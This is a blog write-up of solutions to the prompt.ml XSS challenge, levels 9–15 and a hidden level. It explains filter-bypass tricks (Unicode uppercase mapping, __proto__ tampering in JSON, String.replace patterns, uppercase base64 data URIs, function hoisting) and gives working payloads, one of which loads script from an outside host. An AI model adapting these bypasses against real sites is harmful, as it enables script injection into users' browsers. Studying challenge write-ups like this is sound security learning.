Hi again 🙂
First of all, if you are not familiar with promt.ml XSS challenge, please stop reading and go try your luck – much fun guaranteed!!
Secondly, if you are familiar with this challenge, and you have solved the first 8 levels – feel free to read my summary to these levels
Now that the prompt.ml challenge is officially over, and the XSS Challenge wiki is out, i took the liberty of posting the solutions for levels 9 – 15.
Most of the descriptions here are from the wiki, because i was too lazy to type my own 😛
Level 9
Level 9 uses the regular expression “<([a-zA-Z])” which prevents the user from adding any alphabet followed by an opening bracket (<
) and hence preventing us from injecting a valid HTML tag. However the problem here is thetoUpperCase()
method converts not only English alphabet, but also some Unicode characters, as ECMAScript Language Specification states:
This function behaves in exactly the same way as String.prototype.toLowerCase, except that characters are mapped to their uppercase equivalents as specified in the Unicode Character Database.
The ſ
character, when passed to the toUpperCase()
function would be converted to the ASCII character “S” hence solving our problem.
Level 10
Level 10 is one of the easier to solve levels of this challenge. There are two regular expressions to bypass: the first removes all the occurrences of prompt
keyword, while the second removes all single quotes '
. To bypass the first regular expression is enough a single quote to split prompt
keyword to pr'ompt
, this clearly is not a valid JavaScript instruction but no panic the second regular expression will remove the intruder character '
giving back a valid attack vector!
Level 11
Level 11 allows us to inject directly into what will be the body of a script element. However, before doing so, the string we can influence experiences heavy filtering and we cannot inject any operators or other language elements that would allow for easy concatenation and payload injection. The trick here is to use an operator, that is alphanumeric – so an operator that doesn’t require us to use the banned special characters. Well. There is a bunch of these and one we can utilize here. The in
operator.
Level 12 – for the lulz 🙂
This level seems to expect some kind of aaencode solution (at lest the comments suggest that – there are a few short solutions in “plain text”)
but, anyways, the good old String.fromChardCode can always help to get you to the longest vector 🙂
Level 13
Level 13 requires a couple of interesting tricks, one of which will also be useful for the hidden level. The main goal of this level is to tamper with a JSON object (config
) with a special key (source
) and bypassing a bunch of limitations. Note: We have to manage to get the payload through JSON.parse()
. Which is not easy and prohibits anything active and dangerous.
Analyzing the code, there’s no way to inject any attack vector within source
, the only hope is in the __proto__
property of Object.prototype
. A deprecatedproperty that is still present in all modern browsers.
The idea is to redefine the source
value and use some filters against themselves, yeah mad but awesome! To do this, we must remind some main rules:
- There must be only one
source
key - The
source
key must have a valid value otherwise will be removed: -
// forbit invalid image source if (/[^\w:\/.]/.test(config.source)) { delete config.source; }
So, if we provide an object like this:
{"source":"_-_invalid-URL_-_","__proto__":{"source":"my_evil_payload"}}`
we have a valid object with two keys: source
and __proto__
.
config = {
"source": "_-_invalid-URL_-_",
"__proto__": {
"source": "my_evil_payload"
}
}
Now the interesting part. We said that the 2nd rule requires a valid image source, but the one provided is not valid (_-_invalid-URL_-_
) and thus we triggered thedelete
instruction: delete config.source;
. Awesome! That’s is what we were looking for. At this point the config
object is as follows:
config = {
"__proto__": {
"source": "my_evil_payload"
}
}
This means that we have a new getter for source
! In fact, config.source
is equal to config.__proto__.source
, this because __proto__
is an accessor property (getter/setter function). Now we have a way to inject our attack vector withinsource
, but now the problem is this rule:
var source = config.source.replace(/"/g, '');
If we cannot inject a "
character we still cannot break the injection point:
<img src="{{source}}">;
We need another trick .. say hello to String.replace()! It’s not commonly known that the replace
method accepts some Special replacement patterns.
This is what we need:
$` | Inserts the portion of the string that follows the matched substring
So, injecting the following…
{"source":"_-_invalid-URL_-_","__proto__":{"source":"$`onerror=prompt(1)>"}}
… will give us working payload without even using the double-quote!
Level 14
Although at first sight, it might seem easy – you can simply close the img tag with “> and then insert your own tags – and let the party begin.
But, very soon you realize that this level is quite nasty – and this is because of a few reasons:
- You can open <SCRIPT> tags, but all of your code must be UPPER CASE.
- vbscript is blocked, so you can’t get away with <SCRIPT TYPE=VBSCRIPT>PROMPT 1</SCRIPT> (BTW, the short IE only solutions do hint that a vbs vector exists)
- You can’t load anything from any uri scheme that isn’t data:, so no <SCRIPT SRC=//XSS.XOM/></SCRIPT>
- “+” is blocked, so you can’t use methods like jjencode and aaencode (or JSF*ck)
The replacement of all uri schemes to “data:” gave a lead in that direction, but:
- \, &, and % are blocked, so you can’t use simply use text/html and hide the lower case xss in hex / decimal encodings (�, \x00, %00, etc..)
The remaining solution seemed clear: create a script tag, and use base64, to hide “prompt(1)” in the data scheme. like this:
<script/src=’data:text/html;base64,cHJvbXB0KDEp’/></script>
I only had one problem: my payload gets upper-cased 🙁
This affected the definition of “base64” – out of the 3 browsers i checked, only FF accepted “BASE64”.
And, of course, the base64 payload itself had to work in upper case (and not contain a plus (+) sign !)
In order to understand what will be lost if the escape function will upper case my base64 payload, i wrote a simple tool that demonstrates this process.
here are the results (first line is the inupt, the second line is base64encode(input), and third is: “base64decode(base64encode(input).toUpperCase() ” ):
As you can see, the base64 contains a decent amount of lower case chars, and converting them to upper case loses their content.
Adding spaces to the input does give different blocks of responses, but still they all contains lower case chars.
The next test i did, was to check what happens if my input is already upper case. the results were much better:
still there are a few lower case chars, but if we pad the area that the are created with spaces, it makes their loss not important.
now, having an upper case code is exactly where we were in the begining, but with once change: now we can <SCRIPT SRC=//XSS.XOM/></SCRIPT>
so.. after much effort, I found a vector that works in pure upper case base64:
A few notes about this output:
- FF and chrome accept http:domain.com and http:/domain.com. (chrome will also get http:/\domain.com and http:\/domain.com)
- I didn’t find a way to get any of the above pass the base64 uppercase routine with http:, I only managed https: in
- There were still some glitches (marked in yellow), but newlines and spaces solved most of them, and the rest are acceptible by FF.
- It was hard!@!@!@!@!@
So, now I have a script that is loaded from https://pmt1.ml, and I can embed it in an iframe using bas64 data uri scheme, without fearing upper case!
<IFRAME/SRC=”data:TEXT/HTML;BASE64,ICA8U0NSSVBUL1MGIIINU3JDICAKICA9SFRUUFM6UE1UMS5NTD4GPC9TQ1JJUFQKPD4=”>
One last note, because the script is running from within an iframe, it needs to call window.parent.promt(1) instead of just promt(1)
So the code in pmt1.ml is:
if(typeof window.parent != “undefined” && typeof window.parent.prompt == “function”) { window.parent.prompt(1); } else { prompt(1); }
Level 15
Like Level 7, also here the input is split into segments separated by the # char.
Each segment is stripped to a maximum length of 15 chars, and warped in a <p>
tag.
The key difference is that unlike Level 7, it’s not possible to use the /*
JS comments, and quotes will be cut due to the “data-comment” attribute which is added to each segment.
A Trick we can use here, is to use HTML comments <!--
in a <svg>
tag to hide the “junk”
Hidden Level
To conclude the challenge @filedescriptor placed a hidden level. At first glance, because of the history API, it seems an HTML5
challenge but it is not. The goal is to break the conditional statement and, of course, call prompt(1)
. Furthermore, there is a simple but really effective filter to bypass:
}
and<
are denied
Ok this challenge is pure madness, I agree but if you’ve done all levels before, surely you remember the special trick in Level 13 about the replace function. That trick is part of the solution. The next trick is a basic feature of JavaScript, ignored by many but powerful: Hoisting.
Basically, what JavaScript says is:
it does not matter where you put your objects, if I find a declaration I’ll evaluate it first of all.
So, keep in mind that JavaScript hoists declarations (not initializations). At this point, the idea is to inject the declaration of a new object named history
with a length as big as 1337
. In this way it will be hoisted and will overwrite the existinghistory
object with the new one created and will pass the conditional statement.
Now the question is: what’s the right object to use? The only object able to include declaration and initialization in one statement is the Function. In fact, one of the possible methods to define a new function is named Function Declarationand use the following syntax:
function functionDeclaration(a,b,c) {
alert('Function declared with ' + functionDeclaration.length + ' parameters');
}
functionDeclaration(); //alert > Function declared with 3 parameters
To pass the conditional statement, we’ll need a function with 1338
parameters, but this is still not enough. We need a way to close the declaration because the regex is still there…and here comes the String.replace()
trick with is useful pattern: $&
. What it does is to insert the matched substring within the string, exactly what we are looking for since the matched substring {{injection}}
contains the closing curly bracket!
With the right combination of elements, we can generate something like:
if (history.length > 1337) {
// you can inject any code here
// as long as it will be executed
function history(l,o,r,e,m...1338 times...){{injection}}
prompt(1)
}
and the payload would be: